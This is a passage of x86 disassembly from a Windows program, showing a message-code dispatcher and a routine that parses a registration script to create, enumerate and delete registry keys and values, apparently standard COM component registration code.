		jnz	short loc_402253
		lea	edx, [esp+4+arg_14]
		mov	[esp+4+arg_14],	esi
		push	edx
		mov	edx, [esp+8+arg_C]
		push	edx
		push	esi
		shr	eax, 10h
		push	eax
		call	sub_4064E0
		mov	ecx, [esp+4+arg_10]
		mov	[ecx], eax
		mov	eax, [esp+4+arg_14]
		test	eax, eax
		jz	loc_40235B
		mov	eax, esi
		pop	esi
		retn	18h
; ---------------------------------------------------------------------------


loc_402217:				; CODE XREF: sub_402180+57j
		cmp	eax, 10h
		jnz	short loc_40229A
		mov	eax, [esp+4+arg_C]
		lea	edx, [esp+4+arg_14]
		push	edx
		mov	edx, [esp+8+arg_8]
		push	eax
		mov	esi, 1
		push	edx
		push	10h
		mov	[esp+14h+arg_14], esi
		call	sub_406D00
		mov	ecx, [esp+4+arg_10]
		mov	[ecx], eax
		mov	eax, [esp+4+arg_14]
		test	eax, eax
		jz	loc_40235B
		mov	eax, esi
		pop	esi
		retn	18h
; ---------------------------------------------------------------------------


loc_402253:				; CODE XREF: sub_402180+65j
		cmp	ax, 0C9h
		jnz	loc_4022DF
		shr	eax, 10h
		cmp	ax, si
		jnz	loc_40235B
		mov	eax, [esp+4+arg_C]
		lea	edx, [esp+4+arg_14]
		push	edx		; int
		push	eax		; int
		push	0C9h		; int
		push	esi		; int
		mov	[esp+14h+arg_14], esi
		call	sub_406D50
		mov	ecx, [esp+4+arg_10]
		mov	[ecx], eax
		mov	eax, [esp+4+arg_14]
		test	eax, eax
		jz	loc_40235B
		mov	eax, esi
		pop	esi
		retn	18h
; ---------------------------------------------------------------------------


loc_40229A:				; CODE XREF: sub_402180+9Aj
		cmp	eax, 113h
		jnz	loc_40235B
		mov	eax, [esp+4+arg_C]
		lea	edx, [esp+4+arg_14]
		push	edx		; int
		mov	edx, [esp+8+arg_8]
		push	eax		; int
		mov	esi, 1
		push	edx		; int
		push	113h		; int
		mov	[esp+14h+arg_14], esi
		call	sub_406720
		mov	ecx, [esp+4+arg_10]
		mov	[ecx], eax
		mov	eax, [esp+4+arg_14]
		test	eax, eax
		jz	loc_40235B
		mov	eax, esi
		pop	esi
		retn	18h
; ---------------------------------------------------------------------------


loc_4022DF:				; CODE XREF: sub_402180+D7j
		cmp	ax, 0CEh
		jnz	short loc_40231F
		shr	eax, 10h
		cmp	ax, 400h
		jnz	short loc_40235B
		mov	eax, [esp+4+arg_C]
		lea	edx, [esp+4+arg_14]
		push	edx
		push	eax
		push	0CEh
		push	400h
		mov	[esp+14h+arg_14], esi
		call	sub_406E00
		mov	ecx, [esp+4+arg_10]
		mov	[ecx], eax
		mov	eax, [esp+4+arg_14]
		test	eax, eax
		jz	short loc_40235B
		mov	eax, esi
		pop	esi
		retn	18h
; ---------------------------------------------------------------------------


loc_40231F:				; CODE XREF: sub_402180+163j
		cmp	ax, 0D1h
		jnz	short loc_40235B
		shr	eax, 10h
		test	ax, ax
		jnz	short loc_40235B
		mov	eax, [esp+4+arg_C]
		lea	edx, [esp+4+arg_14]
		push	edx
		push	eax
		push	0D1h
		push	0
		mov	[esp+14h+arg_14], esi
		call	sub_406E50
		mov	ecx, [esp+4+arg_10]
		mov	[ecx], eax
		mov	eax, [esp+4+arg_14]
		test	eax, eax
		jz	short loc_40235B
		mov	eax, esi
		pop	esi
		retn	18h
; ---------------------------------------------------------------------------


loc_40235B:				; CODE XREF: sub_402180+7j
					; sub_402180+46j ...
		xor	eax, eax
		pop	esi
		retn	18h
sub_402180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_402370(LPCSTR lpSubKey,int,int,int)

sub_402370	proc near		; CODE XREF: sub_401A30+257p
					; sub_401A30+276p ...

var_222C	= byte ptr -222Ch
var_122C	= byte ptr -122Ch
SubKey		= byte ptr -22Ch
ValueName	= byte ptr -12Ch
ftLastWriteTime	= _FILETIME ptr	-28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
cchName		= dword	ptr -14h
lpString1	= dword	ptr -10h
hKey		= dword	ptr -0Ch
var_8		= dword	ptr -8
cchValueName	= dword	ptr -4
lpSubKey	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_ECC		= byte ptr  0ED4h

		push	ebp
		mov	ebp, esp
		mov	eax, 222Ch
		call	sub_40AF70
		xor	eax, eax
		push	ebx
		mov	[ebp+cchValueName], eax
		mov	[ebp+lpString1], eax
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		mov	edi, [ebp+lpSubKey]
		mov	esi, ecx
		mov	[ebp+var_18], 1
		mov	[ebp+var_20], eax
		call	sub_401FD0
		mov	ecx, [esi]
		mov	al, [ecx]
		test	al, al
		jz	loc_402D9D
		cmp	al, 27h
		jnz	short loc_40242C
		push	ecx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_402411


loc_4023BE:				; CODE XREF: sub_402370+9Fj
		mov	ecx, esi
		call	sub_401D20
		test	eax, eax
		jnz	short loc_402411
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_4023D9
		push	eax		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax


loc_4023D9:				; CODE XREF: sub_402370+5Ej
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	ecx, [ebp+lpSubKey]
		lea	edx, [edi+2]
		add	ecx, 1000h
		mov	[esi], eax
		cmp	edx, ecx
		jnb	loc_402D9D
		cmp	ebx, eax
		jnb	short loc_40240A
		mov	eax, ebx


loc_4023FE:				; CODE XREF: sub_402370+98j
		mov	cl, [eax]
		inc	eax
		mov	[edi], cl
		mov	ecx, [esi]
		inc	edi
		cmp	eax, ecx
		jb	short loc_4023FE


loc_40240A:				; CODE XREF: sub_402370+8Aj
		mov	edx, [esi]
		cmp	byte ptr [edx],	0
		jnz	short loc_4023BE


loc_402411:				; CODE XREF: sub_402370+4Cj
					; sub_402370+57j
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	loc_402D9D
		mov	byte ptr [edi],	0
		mov	ecx, [esi]
		push	ecx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		jmp	short loc_402460
; ---------------------------------------------------------------------------


loc_40242C:				; CODE XREF: sub_402370+3Dj
					; sub_402370+EBj
		push	eax
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jnz	short loc_40245D
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		cmp	ebx, eax
		mov	[esi], eax
		jnb	short loc_402455
		mov	eax, ebx


loc_402449:				; CODE XREF: sub_402370+E3j
		mov	dl, [eax]
		inc	eax
		mov	[edi], dl
		mov	ecx, [esi]
		inc	edi
		cmp	eax, ecx
		jb	short loc_402449


loc_402455:				; CODE XREF: sub_402370+D5j
		mov	eax, [esi]
		mov	al, [eax]
		test	al, al
		jnz	short loc_40242C


loc_40245D:				; CODE XREF: sub_402370+C6j
		mov	byte ptr [edi],	0


loc_402460:				; CODE XREF: sub_402370+BAj
		mov	ecx, [ebp+lpSubKey]
		xor	edi, edi
		cmp	byte ptr [ecx],	7Dh
		jz	loc_402D6A


loc_40246E:				; CODE XREF: sub_402370+473j
		mov	edx, ds:lpString2
		mov	eax, [ebp+lpSubKey]
		mov	ebx, ds:lstrcmpiA
		push	edx		; lpString2
		push	eax		; lpString1
		call	ebx ; lstrcmpiA
		mov	ecx, ds:off_40D208
		mov	edx, [ebp+lpSubKey]
		mov	edi, eax
		push	ecx		; lpString2
		neg	edi
		sbb	edi, edi
		push	edx		; lpString1
		inc	edi
		mov	[ebp+var_1C], edi
		call	ebx ; lstrcmpiA
		test	eax, eax
		jz	short loc_4024A4
		test	edi, edi
		jz	loc_4027F0


loc_4024A4:				; CODE XREF: sub_402370+12Aj
		mov	edi, [ebp+lpSubKey]
		mov	ecx, esi
		call	sub_401FD0
		mov	ecx, [esi]
		mov	al, [ecx]
		test	al, al
		jz	loc_402D8E
		cmp	al, 27h
		jnz	short loc_40253B
		push	ecx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_402520


loc_4024CD:				; CODE XREF: sub_402370+1AEj
		mov	ecx, esi
		call	sub_401D20
		test	eax, eax
		jnz	short loc_402520
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_4024E8
		push	eax		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax


loc_4024E8:				; CODE XREF: sub_402370+16Dj
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	edx, [ebp+lpSubKey]
		lea	ecx, [edi+2]
		add	edx, 1000h
		mov	[esi], eax
		cmp	ecx, edx
		jnb	loc_402D8E
		cmp	ebx, eax
		jnb	short loc_402519
		mov	eax, ebx


loc_40250D:				; CODE XREF: sub_402370+1A7j
		mov	cl, [eax]
		inc	eax
		mov	[edi], cl
		mov	ecx, [esi]
		inc	edi
		cmp	eax, ecx
		jb	short loc_40250D


loc_402519:				; CODE XREF: sub_402370+199j
		mov	edx, [esi]
		cmp	byte ptr [edx],	0
		jnz	short loc_4024CD


loc_402520:				; CODE XREF: sub_402370+15Bj
					; sub_402370+166j
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	loc_402D8E
		mov	byte ptr [edi],	0
		mov	ecx, [esi]
		push	ecx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		jmp	short loc_40256F
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_402370+14Cj
					; sub_402370+1FAj
		push	eax
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jnz	short loc_40256C
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		cmp	ebx, eax
		mov	[esi], eax
		jnb	short loc_402564
		mov	eax, ebx


loc_402558:				; CODE XREF: sub_402370+1F2j
		mov	dl, [eax]
		inc	eax
		mov	[edi], dl
		mov	ecx, [esi]
		inc	edi
		cmp	eax, ecx
		jb	short loc_402558


loc_402564:				; CODE XREF: sub_402370+1E4j
		mov	eax, [esi]
		mov	al, [eax]
		test	al, al
		jnz	short loc_40253B


loc_40256C:				; CODE XREF: sub_402370+1D5j
		mov	byte ptr [edi],	0


loc_40256F:				; CODE XREF: sub_402370+1C9j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	loc_4027F0
		mov	ebx, [ebp+lpSubKey]
		mov	[ebp+var_8], 0
		mov	eax, ebx
		mov	cl, [ebx]
		test	cl, cl
		jz	short loc_4025AA
		mov	edi, ds:CharNextA


loc_402592:				; CODE XREF: sub_402370+22Ej
		cmp	cl, 5Ch
		jz	short loc_4025A2
		push	eax		; lpsz
		call	edi ; CharNextA
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_402592
		jmp	short loc_4025AA
; ---------------------------------------------------------------------------


loc_4025A2:				; CODE XREF: sub_402370+225j
		test	eax, eax
		jnz	loc_402D95


loc_4025AA:				; CODE XREF: sub_402370+21Aj
					; sub_402370+230j
		mov	edi, offset off_40F030


loc_4025AF:				; CODE XREF: sub_402370+25Aj
		mov	ecx, [edi]
		push	ecx		; lpString2
		push	ebx		; lpString1
		call	ds:lstrcmpiA	; lstrcmpiA
		test	eax, eax
		jz	loc_402671
		add	edi, 4
		cmp	edi, offset aTypelib ; "TYPELIB"
		jl	short loc_4025AF
		mov	eax, [ebp+arg_4]
		push	2001Fh		; samDesired
		push	ebx		; lpSubKey
		push	eax		; hKey
		lea	ecx, [ebp+hKey]
		mov	[ebp+var_8], eax
		mov	[ebp+hKey], 0
		call	sub_402E50
		test	eax, eax
		jnz	short loc_402662
		lea	edx, [ebp+ftLastWriteTime]
		mov	edi, ds:RegEnumKeyExA
		push	edx		; lpftLastWriteTime
		mov	edx, [ebp+hKey]
		push	eax		; lpcchClass
		push	eax		; lpClass
		push	eax		; lpReserved
		lea	eax, [ebp+cchName]
		lea	ecx, [ebp+SubKey]
		push	eax		; lpcchName
		push	ecx		; lpName
		push	0		; dwIndex
		push	edx		; hKey
		mov	[ebp+cchName], 100h
		call	edi ; RegEnumKeyExA
		test	eax, eax
		jnz	short loc_40264F


loc_402617:				; CODE XREF: sub_402370+2DDj
		lea	eax, [ebp+SubKey]
		lea	ecx, [ebp+hKey]
		push	eax		; lpSubKey
		call	sub_402EA0
		test	eax, eax
		jnz	short loc_402662
		lea	ecx, [ebp+ftLastWriteTime]
		lea	edx, [ebp+cchName]
		push	ecx		; lpftLastWriteTime
		mov	ecx, [ebp+hKey]
		push	eax		; lpcchClass
		push	eax		; lpClass
		push	eax		; lpReserved
		lea	eax, [ebp+SubKey]
		push	edx		; lpcchName
		push	eax		; lpName
		push	0		; dwIndex
		push	ecx		; hKey
		mov	[ebp+cchName], 100h
		call	edi ; RegEnumKeyExA
		test	eax, eax
		jz	short loc_402617


loc_40264F:				; CODE XREF: sub_402370+2A5j
		lea	ecx, [ebp+hKey]
		call	sub_402DC0
		mov	edx, [ebp+var_8]
		push	ebx		; lpSubKey
		push	edx		; hKey
		call	ds:RegDeleteKeyA	; RegDeleteKeyA


loc_402662:				; CODE XREF: sub_402370+27Aj
					; sub_402370+2B8j
		lea	ecx, [ebp+hKey]
		call	sub_402DC0
		mov	[ebp+var_8], 0


loc_402671:				; CODE XREF: sub_402370+24Bj
		mov	eax, [ebp+var_1C]
		test	eax, eax
		jz	loc_4027E8
		mov	ecx, esi
		mov	edi, ebx
		call	sub_401FD0
		mov	ecx, [esi]
		mov	al, [ecx]
		test	al, al
		jz	loc_402D87
		cmp	al, 27h
		jnz	short loc_402712
		push	ecx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4026F7


loc_4026A4:				; CODE XREF: sub_402370+385j
		mov	ecx, esi
		call	sub_401D20
		test	eax, eax
		jnz	short loc_4026F7
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_4026BF
		push	eax		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax


loc_4026BF:				; CODE XREF: sub_402370+344j
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	edx, [ebp+lpSubKey]
		lea	ecx, [edi+2]
		add	edx, 1000h
		mov	[esi], eax
		cmp	ecx, edx
		jnb	loc_402D87
		cmp	ebx, eax
		jnb	short loc_4026F0
		mov	eax, ebx


loc_4026E4:				; CODE XREF: sub_402370+37Ej
		mov	cl, [eax]
		inc	eax
		mov	[edi], cl
		mov	ecx, [esi]
		inc	edi
		cmp	eax, ecx
		jb	short loc_4026E4


loc_4026F0:				; CODE XREF: sub_402370+370j
		mov	edx, [esi]
		cmp	byte ptr [edx],	0
		jnz	short loc_4026A4


loc_4026F7:				; CODE XREF: sub_402370+332j
					; sub_402370+33Dj
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	loc_402D87
		mov	byte ptr [edi],	0
		mov	ecx, [esi]
		push	ecx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		jmp	short loc_402746
; ---------------------------------------------------------------------------


loc_402712:				; CODE XREF: sub_402370+323j
					; sub_402370+3D1j
		push	eax
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jnz	short loc_402743
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		cmp	ebx, eax
		mov	[esi], eax
		jnb	short loc_40273B
		mov	eax, ebx


loc_40272F:				; CODE XREF: sub_402370+3C9j
		mov	dl, [eax]
		inc	eax
		mov	[edi], dl
		mov	ecx, [esi]
		inc	edi
		cmp	eax, ecx
		jb	short loc_40272F


loc_40273B:				; CODE XREF: sub_402370+3BBj
		mov	eax, [esi]
		mov	al, [eax]
		test	al, al
		jnz	short loc_402712


loc_402743:				; CODE XREF: sub_402370+3ACj
		mov	byte ptr [edi],	0


loc_402746:				; CODE XREF: sub_402370+3A0j
		mov	ebx, [ebp+lpSubKey]
		cmp	byte ptr [ebx],	3Dh
		jnz	short loc_40278B
		push	ebx
		mov	ecx, esi
		call	sub_402020
		test	eax, eax
		jl	loc_402D60
		mov	ecx, esi
		call	sub_401FD0
		lea	ecx, [ebp+var_122C]
		push	ecx
		mov	ecx, esi
		call	sub_402020
		test	eax, eax
		jl	loc_402D60
		push	ebx
		mov	ecx, esi
		call	sub_402020
		test	eax, eax
		jl	loc_402D60


loc_40278B:				; CODE XREF: sub_402370+3DCj
		xor	edi, edi
		lea	ecx, [ebp+var_8]


loc_402790:				; CODE XREF: sub_402370+750j
		call	sub_402DC0


loc_402795:				; CODE XREF: sub_402370+850j
					; sub_402370+871j
		mov	ebx, [ebp+lpSubKey]
		cmp	byte ptr [ebx],	7Bh
		jnz	short loc_4027D7
		push	ebx		; lpString
		call	ds:lstrlenA	; lstrlenA
		cmp	eax, 1
		jnz	short loc_4027D7
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+cchValueName]
		push	0		; int
		push	edx		; int
		push	eax		; int
		push	ebx		; lpSubKey
		mov	ecx, esi
		call	sub_402370
		mov	edi, eax
		test	edi, edi
		jl	loc_402D6A
		push	ebx
		mov	ecx, esi
		call	sub_402020
		mov	edi, eax
		test	edi, edi
		jl	loc_402D6A


loc_4027D7:				; CODE XREF: sub_402370+42Bj
					; sub_402370+437j ...
		mov	ecx, [ebp+lpSubKey]
		cmp	byte ptr [ecx],	7Dh
		jz	loc_402D6A
		jmp	loc_40246E
; ---------------------------------------------------------------------------


loc_4027E8:				; CODE XREF: sub_402370+306j
		lea	ecx, [ebp+var_8]
		call	sub_402DC0


loc_4027F0:				; CODE XREF: sub_402370+12Ej
					; sub_402370+204j
		mov	edx, ds:off_40D20C
		mov	eax, [ebp+lpSubKey]
		push	edx		; lpString2
		push	eax		; lpString1
		call	ds:lstrcmpiA	; lstrcmpiA
		test	eax, eax
		jnz	loc_4028D7
		mov	edi, [ebp+lpSubKey]
		mov	ecx, esi
		mov	[ebp+var_18], eax
		call	sub_401FD0
		mov	ecx, [esi]
		mov	al, [ecx]
		test	al, al
		jz	loc_402D8E
		cmp	al, 27h
		jnz	short loc_4028A3
		push	ecx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_402888


loc_402835:				; CODE XREF: sub_402370+516j
		mov	ecx, esi
		call	sub_401D20
		test	eax, eax
		jnz	short loc_402888
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_402850
		push	eax		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax


loc_402850:				; CODE XREF: sub_402370+4D5j
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	edx, [ebp+lpSubKey]
		lea	ecx, [edi+2]
		add	edx, 1000h
		mov	[esi], eax
		cmp	ecx, edx
		jnb	loc_402D8E
		cmp	ebx, eax
		jnb	short loc_402881
		mov	eax, ebx


loc_402875:				; CODE XREF: sub_402370+50Fj
		mov	cl, [eax]
		inc	eax
		mov	[edi], cl
		mov	ecx, [esi]
		inc	edi
		cmp	eax, ecx
		jb	short loc_402875


loc_402881:				; CODE XREF: sub_402370+501j
		mov	edx, [esi]
		cmp	byte ptr [edx],	0
		jnz	short loc_402835


loc_402888:				; CODE XREF: sub_402370+4C3j
					; sub_402370+4CEj
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	loc_402D8E
		mov	byte ptr [edi],	0
		mov	ecx, [esi]
		push	ecx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		jmp	short loc_4028D7
; ---------------------------------------------------------------------------


loc_4028A3:				; CODE XREF: sub_402370+4B4j
					; sub_402370+562j
		push	eax
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jnz	short loc_4028D4
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		cmp	ebx, eax
		mov	[esi], eax
		jnb	short loc_4028CC
		mov	eax, ebx


loc_4028C0:				; CODE XREF: sub_402370+55Aj
		mov	dl, [eax]
		inc	eax
		mov	[edi], dl
		mov	ecx, [esi]
		inc	edi
		cmp	eax, ecx
		jb	short loc_4028C0


loc_4028CC:				; CODE XREF: sub_402370+54Cj
		mov	eax, [esi]
		mov	al, [eax]
		test	al, al
		jnz	short loc_4028A3


loc_4028D4:				; CODE XREF: sub_402370+53Dj
		mov	byte ptr [edi],	0


loc_4028D7:				; CODE XREF: sub_402370+493j
					; sub_402370+531j
		mov	ecx, ds:off_40D204
		mov	ebx, [ebp+lpSubKey]
		push	ecx		; lpString2
		push	ebx		; lpString1
		call	ds:lstrcmpiA	; lstrcmpiA
		test	eax, eax
		jnz	loc_402B32
		mov	ecx, esi
		lea	edi, [ebp+ValueName]
		call	sub_401FD0
		mov	ecx, [esi]
		mov	al, [ecx]
		test	al, al
		jz	loc_402D8E
		cmp	al, 27h
		jnz	short loc_402985
		push	ecx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40296C


loc_40291C:				; CODE XREF: sub_402370+5FAj
		mov	ecx, esi
		call	sub_401D20
		test	eax, eax
		jnz	short loc_40296C
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_402937
		push	eax		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax


loc_402937:				; CODE XREF: sub_402370+5BCj
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		lea	edx, [edi+2]
		lea	ecx, [ebp+arg_ECC]
		cmp	edx, ecx
		mov	[esi], eax
		jnb	loc_402D8E
		cmp	ebx, eax
		jnb	short loc_402963
		mov	ecx, ebx


loc_402959:				; CODE XREF: sub_402370+5F1j
		mov	dl, [ecx]
		inc	ecx
		mov	[edi], dl
		inc	edi
		cmp	ecx, eax
		jb	short loc_402959


loc_402963:				; CODE XREF: sub_402370+5E5j
		mov	cl, [eax]
		mov	ebx, [ebp+lpSubKey]
		test	cl, cl
		jnz	short loc_40291C


loc_40296C:				; CODE XREF: sub_402370+5AAj
					; sub_402370+5B5j
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	loc_402D8E
		push	eax		; lpsz
		mov	byte ptr [edi],	0
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		jmp	short loc_4029B8
; ---------------------------------------------------------------------------


loc_402985:				; CODE XREF: sub_402370+59Bj
					; sub_402370+643j
		push	eax
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jnz	short loc_4029B5
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		cmp	ebx, eax
		mov	[esi], eax
		jnb	short loc_4029AC
		mov	ecx, ebx


loc_4029A2:				; CODE XREF: sub_402370+63Aj
		mov	dl, [ecx]
		inc	ecx
		mov	[edi], dl
		inc	edi
		cmp	ecx, eax
		jb	short loc_4029A2


loc_4029AC:				; CODE XREF: sub_402370+62Ej
		mov	al, [eax]
		mov	ebx, [ebp+lpSubKey]
		test	al, al
		jnz	short loc_402985


loc_4029B5:				; CODE XREF: sub_402370+61Fj
		mov	byte ptr [edi],	0


loc_4029B8:				; CODE XREF: sub_402370+613j
		mov	ecx, esi
		mov	edi, ebx
		call	sub_401FD0
		mov	ecx, [esi]
		mov	al, [ecx]
		test	al, al
		jz	loc_402D8E
		cmp	al, 27h
		jnz	short loc_402A4E
		push	ecx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_402A33


loc_4029E0:				; CODE XREF: sub_402370+6C1j
		mov	ecx, esi
		call	sub_401D20
		test	eax, eax
		jnz	short loc_402A33
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_4029FB
		push	eax		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax


loc_4029FB:				; CODE XREF: sub_402370+680j
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	edx, [ebp+lpSubKey]
		lea	ecx, [edi+2]
		add	edx, 1000h
		mov	[esi], eax
		cmp	ecx, edx
		jnb	loc_402D8E
		cmp	ebx, eax
		jnb	short loc_402A2C
		mov	eax, ebx


loc_402A20:				; CODE XREF: sub_402370+6BAj
		mov	cl, [eax]
		inc	eax
		mov	[edi], cl
		mov	ecx, [esi]
		inc	edi
		cmp	eax, ecx
		jb	short loc_402A20


loc_402A2C:				; CODE XREF: sub_402370+6ACj
		mov	edx, [esi]
		cmp	byte ptr [edx],	0
		jnz	short loc_4029E0


loc_402A33:				; CODE XREF: sub_402370+66Ej
					; sub_402370+679j
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	loc_402D8E
		mov	byte ptr [edi],	0
		mov	ecx, [esi]
		push	ecx		; lpsz
		call	ds:CharNextA	; CharNextA
		mov	[esi], eax
		jmp	short loc_402A82
; ---------------------------------------------------------------------------


loc_402A4E:				; CODE XREF: sub_402370+65Fj
					; sub_402370+70Dj
		push	eax
		mov	ecx, esi
		call	sub_401F80
		test	eax, eax
		jnz	short loc_402A7F
		mov	ebx, [esi]
		push	ebx		; lpsz
		call	ds:CharNextA	; CharNextA
		cmp	ebx, eax
		mov	[esi], eax
		jnb	short loc_402A77
		mov	eax, ebx


loc_402A6B:				; CODE XREF: sub_402370+705j
		mov	dl, [eax]
		inc	eax
		mov	[edi], dl
		mov	ecx, [esi]
		inc	edi
		cmp	eax, ecx
		jb	short loc_402A6B


loc_402A77:				; CODE XREF: sub_402370+6F7j
		mov	eax, [esi]
		mov	al, [eax]
		test	al, al
		jnz	short loc_402A4E


loc_402A7F:				; CODE XREF: sub_402370+6E8j
		mov	byte ptr [edi],	0


loc_402A82:				; CODE XREF: sub_402370+6DCj
		mov	edi, [ebp+lpSubKey]
		cmp	byte ptr [edi],	3Dh
		jnz	loc_402D9D
		mov	eax, [ebp+arg_8]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_402AC5
		mov	ecx, [ebp+arg_4]
		lea	edx, [ebp+ValueName]
		push	edi		; int
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], ecx
		push	edx		; lpValueName
		push	eax		; int
		mov	ecx, esi
		call	sub_402FF0
		mov	edi, eax
		mov	[ebp+var_8], ebx
		cmp	edi, ebx
		lea	ecx, [ebp+var_8]
		jl	loc_402D65
		jmp	loc_402790
; ---------------------------------------------------------------------------


loc_402AC5:				; CODE XREF: sub_402370+725j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_402AE9
		mov	eax, [ebp+arg_4]
		lea	ecx, [ebp+ValueName]
		push	ecx		; lpValueName
		push	eax		; hKey
		mov	[ebp+var_8], eax
		call	ds:RegDeleteValueA	; RegDeleteValueA
		lea	ecx, [ebp+var_8]
		mov	[ebp+var_8], ebx
		call	sub_402DC0


loc_402AE9:				; CODE XREF: sub_402370+758j
		cmp	byte ptr [edi],	3Dh
		jnz	short loc_402B2B
		push	edi
		mov	ecx, esi
		call	sub_402020
		cmp	eax, ebx
		jl	loc_402D83
		mov	ecx, esi
		call	sub_401FD0
		lea	edx, [ebp+var_222C]
		mov	ecx, esi
		push	edx
		call	sub_402020
		cmp	eax, ebx
		jl	loc_402D83
		push	edi
		mov	ecx, esi
		call	sub_402020
		cmp	eax, ebx
		jl	loc_402D83


loc_402B2B:				; CODE XREF: sub_402370+77Cj
		xor	edi, edi
		jmp	loc_4027D7
; ---------------------------------------------------------------------------


loc_402B32:				; CODE XREF: sub_402370+57Aj
		mov	cl, [ebx]
		mov	eax, ebx
		test	cl, cl
		jz	short loc_402B58
		mov	edi, ds:CharNextA


loc_402B40:				; CODE XREF: sub_402370+7DCj
		cmp	cl, 5Ch
		jz	short loc_402B50
		push	eax		; lpsz
		call	edi ; CharNextA
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_402B40
		jmp	short loc_402B58
; ---------------------------------------------------------------------------


loc_402B50:				; CODE XREF: sub_402370+7D3j
		test	eax, eax
		jnz	loc_402D9D


loc_402B58:				; CODE XREF: sub_402370+7C8j
					; sub_402370+7DEj
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	loc_402BE6
		mov	edi, [ebp+arg_4]
		push	0F003Fh		; samDesired
		push	ebx		; lpSubKey
		push	edi		; hKey
		lea	ecx, [ebp+cchValueName]
		call	sub_402E50
		test	eax, eax
		jz	short loc_402BAB
		push	20019h		; samDesired
		push	ebx		; lpSubKey
		push	edi		; hKey
		lea	ecx, [ebp+cchValueName]
		call	sub_402E50
		test	eax, eax
		jz	short loc_402BAB
		push	0		; int
		push	0		; dwDisposition
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	ebx		; lpSubKey
		push	edi		; hKey
		lea	ecx, [ebp+cchValueName]
		call	sub_402DE0
		test	eax, eax
		jnz	loc_402D9D


loc_402BAB:				; CODE XREF: sub_402370+807j
					; sub_402370+81Aj
		push	ebx
		mov	ecx, esi
		call	sub_402020
		mov	edi, eax
		test	edi, edi
		jl	loc_402D6A
		cmp	byte ptr [ebx],	3Dh
		jnz	loc_402795
		mov	eax, [ebp+lpSubKey]
		lea	ecx, [ebp+cchValueName]
		push	eax		; int
		push	0		; lpValueName
		push	ecx		; int
		mov	ecx, esi
		call	sub_402FF0
		mov	edi, eax
		test	edi, edi
		jl	loc_402D6A
		jmp	loc_402795
